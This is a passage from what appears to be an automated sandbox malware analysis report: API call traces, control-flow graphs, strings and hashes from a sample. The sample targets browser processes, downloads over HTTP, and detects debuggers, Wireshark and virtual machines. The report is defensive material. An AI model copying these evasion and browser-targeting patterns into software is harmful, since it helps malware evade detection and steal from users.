                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16925
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D17820,00000000,00000000,00000000), ref: 02D16954
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D16968
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16979
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D17B30,00000000,00000000,00000000), ref: 02D1698E
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02D4FB80), ref: 02D1699F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D17430,00000000,00000000,00000000), ref: 02D169B0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D169C4
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 02D169D5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D16510,00000000,00000000,00000000), ref: 02D169EF
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D16A03
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16A14
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D15020,00000000,00000000,00000000), ref: 02D16A3E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D16A52
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16A63
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D16A72
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D16A75
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D16A82
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D16A85
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02D16AA9
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02D16ABB
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02D16AC7
                                                                                                                                                                                                              • Part of subcall function 02D06A50: memset.MSVCRT ref: 02D06A81
                                                                                                                                                                                                              • Part of subcall function 02D06A50: memset.MSVCRT ref: 02D06A9F
                                                                                                                                                                                                              • Part of subcall function 02D06A50: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02D06ABB
                                                                                                                                                                                                              • Part of subcall function 02D06A50: RegQueryValueExA.ADVAPI32(?,A3B7FE06a,00000000,00000001,?,00000104), ref: 02D06AE2
                                                                                                                                                                                                              • Part of subcall function 02D06A50: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02D06B5A
                                                                                                                                                                                                              • Part of subcall function 02D06A50: HeapAlloc.KERNEL32(00000000), ref: 02D06B61
                                                                                                                                                                                                              • Part of subcall function 02D06A50: memset.MSVCRT ref: 02D06B75
                                                                                                                                                                                                              • Part of subcall function 02D06A50: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02D06B8E
                                                                                                                                                                                                              • Part of subcall function 02D06A50: RegCloseKey.ADVAPI32(?), ref: 02D06B9C
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D16AD6
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\svchost.exe), ref: 02D16AF2
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\iexplore.exe), ref: 02D16B19
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\java.exe), ref: 02D16B2F
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\javaw.exe), ref: 02D16B45
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\javaws.exe), ref: 02D16B5B
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\opera.exe), ref: 02D16B71
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\firefox.exe), ref: 02D16B87
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\maxthon.exe), ref: 02D16B9D
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\avant.exe), ref: 02D16BB3
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\mnp.exe), ref: 02D16BC9
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\safari.exe), ref: 02D16BDF
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\netscape.exe), ref: 02D16BF5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\tbb-firefox.exe), ref: 02D16C0B
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\frd.exe), ref: 02D16C21
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02D16C37
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02D16C4D
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1B3F0,00000000,00000000,00000000), ref: 02D16C7B
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16C95
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16CA2
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1EA80,00000000,00000000,00000000), ref: 02D16CB7
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16CCB
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16CD8
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D20070,00000000,00000000,00000000), ref: 02D16CED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16D01
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16D0E
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D208E0,00000000,00000000,00000000), ref: 02D16D23
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16D37
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16D44
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1F1B0,00000000,00000000,00000000), ref: 02D16D59
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16D6D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16D7A
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1C670,00000000,00000000,00000000), ref: 02D16D8F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16DA3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16DB0
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1C710,00000000,00000000,00000000), ref: 02D16DC5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16DD9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16DE6
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21060,00000000,00000000,00000000), ref: 02D16DFB
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16E0F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16E1C
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D220F0,00000000,00000000,00000000), ref: 02D16E31
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D16E45
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D16E52
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D22DE0,00000000,00000000,00000000), ref: 02D16E67
                                                                                                                                                                                                              • Part of subcall function 02D1A240: CreateMutexA.KERNEL32(00000000,00000000,00000000,74E17390,?,?,02D16AFD), ref: 02D1A25A
                                                                                                                                                                                                              • Part of subcall function 02D1A240: CreateThread.KERNEL32(00000000,00000000,02D1A2B0,00000000,00000000,00000000), ref: 02D1A274
                                                                                                                                                                                                              • Part of subcall function 02D1A240: GetHandleInformation.KERNEL32(00000000,?,?,?,02D16AFD), ref: 02D1A28C
                                                                                                                                                                                                              • Part of subcall function 02D1A240: CloseHandle.KERNEL32(00000000,?,?,02D16AFD), ref: 02D1A29D
                                                                                                                                                                                                              • Part of subcall function 02D06070: IsUserAnAdmin.SHELL32 ref: 02D06070
                                                                                                                                                                                                              • Part of subcall function 02D06070: DnsFlushResolverCache.DNSAPI ref: 02D0607A
                                                                                                                                                                                                              • Part of subcall function 02D06070: LoadLibraryExA.KERNEL32(Dnsapi.dll,00000000,00000000,74E17390), ref: 02D0608A
                                                                                                                                                                                                              • Part of subcall function 02D06070: GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 02D060A3
                                                                                                                                                                                                              • Part of subcall function 02D06070: GetProcAddress.KERNEL32(00000000,DnsQuery_UTF8), ref: 02D060BF
                                                                                                                                                                                                              • Part of subcall function 02D06070: GetProcAddress.KERNEL32(00000000,DnsQuery_W), ref: 02D060DB
                                                                                                                                                                                                              • Part of subcall function 02D06070: GetProcAddress.KERNEL32(00000000,Query_Main), ref: 02D060F7
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 02D1714F
                                                                                                                                                                                                              • Part of subcall function 02D24450: OpenProcess.KERNEL32(00000400,00000000,00000000,7591F550,00000000,76EDC3F0), ref: 02D24465
                                                                                                                                                                                                              • Part of subcall function 02D24450: OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D2447C
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02D2449A
                                                                                                                                                                                                              • Part of subcall function 02D24450: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D244B2
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetHandleInformation.KERNEL32(?,00000000), ref: 02D2450B
                                                                                                                                                                                                              • Part of subcall function 02D24450: FindCloseChangeNotification.KERNEL32(?), ref: 02D2451C
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetHandleInformation.KERNEL32(00000000,?), ref: 02D2452E
                                                                                                                                                                                                              • Part of subcall function 02D24450: CloseHandle.KERNEL32(00000000), ref: 02D2453F
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D1715E
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,00000000), ref: 02D17177
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02D1717E
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,a3b7feb4a), ref: 02D17194
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D0BA40,00000000,00000000,00000000), ref: 02D171A8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D171C0
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D171D1
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D07D50,00000000,00000000,00000000), ref: 02D171E6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D171FE
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1720F
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: GetComputerNameA.KERNEL32(02D4F588,?), ref: 02D0D7B7
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: lstrlenA.KERNEL32(02D4F588,?,?,?,02D1714F), ref: 02D0D7C2
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D802
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D812
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D822
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D82F
                                                                                                                                                                                                              • Part of subcall function 02D0D7A0: wsprintfA.USER32 ref: 02D0D83C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Information$CreateThread$Close$Process$Heap$AddressProcwsprintf$OpenPathmemset$CurrentUser$AdminBackslashChangeCommandCriticalFileFindInitializeLineModuleMutexNameNotificationQuerySectionTokenValueVolume_snprintf$AllocCacheCharComputerDesktopDirectoryEnvironmentExistsFlushFolderFreeLibraryLoadObjectResolverSystemUpperValidateVariableWindowslstrcmpilstrcpynlstrlen
                                                                                                                                                                                                            • String ID: --no-sandbox$ --no-sandbox$A3B7FAF8a$C:\Users\user\AppData\Roaming\$IsWow64Process$RtlFreeHeap$\avant.exe$\cbsmain.dll$\chrome.exe$\clmain.exe$\core.exe$\explorer.exe$\firefox.exe$\frd.exe$\iexplore.exe$\intpro.exe$\ipc_full.exe$\isclient.exe$\java.exe$\javaw.exe$\javaws.exe$\maxthon.exe$\mnp.exe$\netscape.exe$\notepad.exe$\opera.exe$\rundll32.exe$\safari.exe$\svchost.exe$\tbb-firefox.exe$a3b7feb4a$kernel32.dll$ntdll.dll$\t
                                                                                                                                                                                                            • API String ID: 1297835225-4257450245
                                                                                                                                                                                                            • Opcode ID: 438b8683ea3cf93c31803014bc5f62ac4e8d401534e669e9aff320e76e7839db
                                                                                                                                                                                                            • Instruction ID: 9dbde1a97bcd2b25711d4f8323745f3a1a403380b8ddfc1b614cab1de7b957a8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 438b8683ea3cf93c31803014bc5f62ac4e8d401534e669e9aff320e76e7839db
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3352C435A81315B7FB209BA1AC45FAE67ACAF04B44F644544FA05B67C4DBB0EE04CAE4
                                                                                                                                                                                                            Function 02D14680 Relevance: 91.4, APIs: 44, Strings: 8, Instructions: 387memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 202 2d14680-2d146cd memset 203 2d146d3-2d146d6 202->203 204 2d14ae5-2d14aed 202->204 203->204 205 2d146dc-2d146df 203->205 206 2d14780-2d1479c InternetOpenA 205->206 207 2d146e5-2d146ec 205->207 208 2d147a2-2d147bb InternetConnectA 206->208 209 2d14a8a 206->209 210 2d14719-2d1471e 207->210 211 2d146ee-2d14708 GetProcessHeap HeapAlloc 207->211 208->209 213 2d147c1-2d147cb 208->213 212 2d14a90-2d14a95 209->212 210->204 216 2d14724-2d1473f memcpy 210->216 214 2d14716 211->214 215 2d1470a-2d14713 memset 211->215 217 2d14ab3-2d14abd 212->217 218 2d14a97-2d14aa5 GetProcessHeap HeapValidate 212->218 219 2d147d2-2d147f3 HttpOpenRequestA 213->219 220 2d147cd 213->220 214->210 215->214 221 2d14740-2d1474e 216->221 223 2d14ac5-2d14aca 217->223 224 2d14abf-2d14ac3 InternetCloseHandle 217->224 218->217 222 2d14aa7-2d14aad GetProcessHeap HeapFree 218->222 219->209 225 2d147f9-2d14802 219->225 220->219 221->221 226 2d14750 221->226 222->217 228 2d14acc-2d14acd InternetCloseHandle 223->228 229 2d14acf-2d14ad4 223->229 224->223 230 2d14804-2d14808 225->230 231 2d1481d 225->231 227 2d14752-2d14763 226->227 232 2d14765 227->232 233 2d14767-2d1476e 227->233 228->229 234 2d14ad6-2d14ad7 InternetCloseHandle 229->234 235 2d14ad9-2d14ae2 229->235 230->231 236 2d1480a-2d1481b HttpAddRequestHeadersA 230->236 237 2d14820-2d14833 HttpAddRequestHeadersA 231->237 232->233 233->227 238 2d14770-2d1477b call 2d17c10 233->238 234->235 236->237 239 2d14865-2d1486a 237->239 240 2d14835-2d14863 _snprintf HttpAddRequestHeadersA 237->240 238->206 241 2d1486c 239->241 242 2d1486f-2d14881 HttpSendRequestA 239->242 240->239 241->242 242->209 244 2d14887-2d148a4 HttpQueryInfoA 242->244 244->209 245 2d148aa-2d148b1 244->245 245->209 246 2d148b7-2d148df CreateFileA 245->246 246->209 247 2d148e5-2d148ff GetProcessHeap HeapAlloc 246->247 248 2d14905-2d14932 memset InternetReadFile 247->248 249 2d149c9-2d149cb 247->249 250 2d14934-2d14939 248->250 251 2d149ad-2d149bb GetProcessHeap HeapValidate 248->251 252 2d149f0-2d14a04 call 2d07220 249->252 253 2d149cd-2d149e1 GetHandleInformation 249->253 250->251 255 2d1493b-2d14992 SetFilePointer LockFile WriteFile UnlockFile GetProcessHeap HeapValidate 250->255 251->249 256 2d149bd-2d149c3 GetProcessHeap HeapFree 251->256 252->212 261 2d14a0a-2d14a14 252->261 253->252 257 2d149e3-2d149e7 253->257 255->247 260 2d14998-2d149a8 GetProcessHeap HeapFree 255->260 256->249 257->252 258 2d149e9-2d149ea CloseHandle 257->258 258->252 260->247 262 2d14a20-2d14a2e 261->262 262->262 263 2d14a30 262->263 264 2d14a32-2d14a43 263->264 265 2d14a45 264->265 266 2d14a47-2d14a4e 264->266 265->266 266->264 267 2d14a50-2d14a67 call 2d17c10 call 2d07140 266->267 271 2d14a6c-2d14a7a GetProcessHeap HeapValidate 267->271 271->212 272 2d14a7c-2d14a88 GetProcessHeap HeapFree 271->272 272->212
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D146BD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,02D06C17,Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),?), ref: 02D146F7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D146FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1470E
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D1472D
                                                                                                                                                                                                            • InternetOpenA.WININET(?,00000000,00000000,00000000,04000000), ref: 02D14791
                                                                                                                                                                                                            • InternetConnectA.WININET(00000000,02D06C17,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02D147B0
                                                                                                                                                                                                            • HttpOpenRequestA.WININET(?,GET,?,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02D147E8
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02D14819
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,Referer: http://www.google.com,000000FF,20000000), ref: 02D1482D
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D1484B
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,?,000000FF,20000000), ref: 02D14863
                                                                                                                                                                                                            • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 02D14879
                                                                                                                                                                                                            • HttpQueryInfoA.WININET(?,20000013,?,00000004,?), ref: 02D1489C
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02D148D4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02D148F2
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D148F5
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1490D
                                                                                                                                                                                                            • InternetReadFile.WININET(?,00000000,00001000,?), ref: 02D1492A
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D1494B
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D1495B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D1496A
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 02D1497A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D14983
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1498A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D1499B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D149A2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D149B0
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D149B3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D149C0
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D149C3
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D149D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D149EA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02D14A6F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D14A72
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D14A7F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D14A82
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D14A9A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D14A9D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Content-Type: application/x-www-form-urlencoded, xrefs: 02D14811
                                                                                                                                                                                                            • GET, xrefs: 02D147C4
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02D1468A
                                                                                                                                                                                                            • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02D1483A
                                                                                                                                                                                                            • Referer: http://www.google.com, xrefs: 02D14827
                                                                                                                                                                                                            • HTTP/1.0, xrefs: 02D147E0
                                                                                                                                                                                                            • POST, xrefs: 02D147CD, 02D147E6
                                                                                                                                                                                                            • 33b091295587945c, xrefs: 02D14835
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FileHttp$Request$Validate$FreeHeadersInternetmemset$AllocHandleOpen$CloseConnectCreateInfoInformationLockPointerQueryReadSendUnlockWrite_snprintfmemcpy
                                                                                                                                                                                                            • String ID: 33b091295587945c$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
                                                                                                                                                                                                            • API String ID: 912145775-1970990813
                                                                                                                                                                                                            • Opcode ID: 66f164afaec25c121a6c12b3906739bbaf31f7ff6dd0344b6283ee65732c0322
                                                                                                                                                                                                            • Instruction ID: ea2936747446e54a659eb7cb5bb30e9e9e369f7bcbb4a0150e82f854f9753205
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 66f164afaec25c121a6c12b3906739bbaf31f7ff6dd0344b6283ee65732c0322
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EED1B475A40255BBEB209FA5AC89FAF3BA8EF08718F154514FA05A73C0D770DD40CBA4
                                                                                                                                                                                                            Function 00402B70 Relevance: 68.4, APIs: 30, Strings: 9, Instructions: 163librarywindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 273 402b70-402ba7 call 401000 LoadLibraryA GetModuleFileNameA call 403920 278 402bb1-402bcc call 4021b0 call 4020c0 FindWindowA 273->278 279 402ba9-402bab ExitProcess 273->279 284 402be6-402c04 call 402340 call 402430 call 402520 call 402660 IsUserAnAdmin 278->284 285 402bce-402be0 GetTickCount PostMessageA 278->285 294 402c06-402c0d call 4033b0 284->294 295 402c17-402c2f IsUserAnAdmin GetModuleHandleA 284->295 285->284 294->295 303 402c0f-402c11 ExitProcess 294->303 296 402c50-402c54 295->296 297 402c31-402c41 GetProcAddress 295->297 301 402ca2-402ca4 296->301 302 402c56-402c58 296->302 297->296 300 402c43-402c4d GetCurrentProcess 297->300 300->296 304 402d59-402d72 call 401130 GlobalFindAtomA 301->304 305 402caa-402cbe StrStrIA 301->305 306 402c70-402c8e call 401130 GetCurrentProcessId call 401b70 Sleep 302->306 307 402c5a-402c6e StrStrIA 302->307 322 402db4-402db6 ExitProcess 304->322 323 402d74-402d83 GlobalAddAtomA IsUserAnAdmin 304->323 308 402cc0-402cd9 call 401130 GlobalFindAtomA 305->308 309 402cfd-402d10 call 4028b0 GlobalFindAtomA 305->309 306->322 307->306 310 402c93-402c9d call 4028b0 call 401520 307->310 308->322 325 402cdf-402cee GlobalAddAtomA IsUserAnAdmin 308->325 326 402d52-402d57 call 401520 309->326 327 402d12-402d21 GlobalAddAtomA IsUserAnAdmin 309->327 310->322 329 402d95-402d9e IsUserAnAdmin 323->329 330 402d85-402d88 323->330 325->329 335 402cf4-402cf8 325->335 326->322 336 402d33-402d3c IsUserAnAdmin 327->336 337 402d23-402d2b 327->337 332 402da0 329->332 333 402da5-402dad call 401aa0 329->333 338 402d89-402d8d 330->338 332->333 333->322 346 402daf call 401b70 333->346 335->338 339 402d43-402d4b call 401aa0 336->339 340 402d3e 336->340 337->336 338->329 339->326 347 402d4d call 401b70 339->347 340->339 346->322 347->326
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401000: IsDebuggerPresent.KERNEL32 ref: 00401014
                                                                                                                                                                                                              • Part of subcall function 00401000: FindWindowA.USER32(OLLYDBG,00000000), ref: 0040102A
                                                                                                                                                                                                              • Part of subcall function 00401000: memset.MSVCRT ref: 0040104B
                                                                                                                                                                                                              • Part of subcall function 00401000: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401056
                                                                                                                                                                                                              • Part of subcall function 00401000: Process32First.KERNEL32 ref: 00401071
                                                                                                                                                                                                              • Part of subcall function 00401000: StrStrIA.SHLWAPI(?,wireshark.exe), ref: 0040108D
                                                                                                                                                                                                              • Part of subcall function 00401000: Process32Next.KERNEL32(00000000,?), ref: 0040109D
                                                                                                                                                                                                              • Part of subcall function 00401000: GetHandleInformation.KERNEL32(00000000,00000000), ref: 004010B9
                                                                                                                                                                                                              • Part of subcall function 00401000: FindCloseChangeNotification.KERNEL32(00000000), ref: 004010CB
                                                                                                                                                                                                              • Part of subcall function 00401000: PathFileExistsA.SHLWAPI(\\?\globalroot\systemroot\system32\vmx_fb.dll,vmwaretray.exe,idag.exe,dumpcap.exe), ref: 00401104
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(user32.dll), ref: 00402B86
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402B9A
                                                                                                                                                                                                              • Part of subcall function 00403920: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403953
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 00403967
                                                                                                                                                                                                              • Part of subcall function 00403920: GetUserNameA.ADVAPI32(?,00000104), ref: 0040398C
                                                                                                                                                                                                              • Part of subcall function 00403920: CharUpperA.USER32(?), ref: 00403999
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039AB
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039C4
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039DD
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 004039F6
                                                                                                                                                                                                              • Part of subcall function 00403920: strstr.MSVCRT ref: 00403A0F
                                                                                                                                                                                                              • Part of subcall function 00403920: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A28
                                                                                                                                                                                                              • Part of subcall function 00403920: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4C
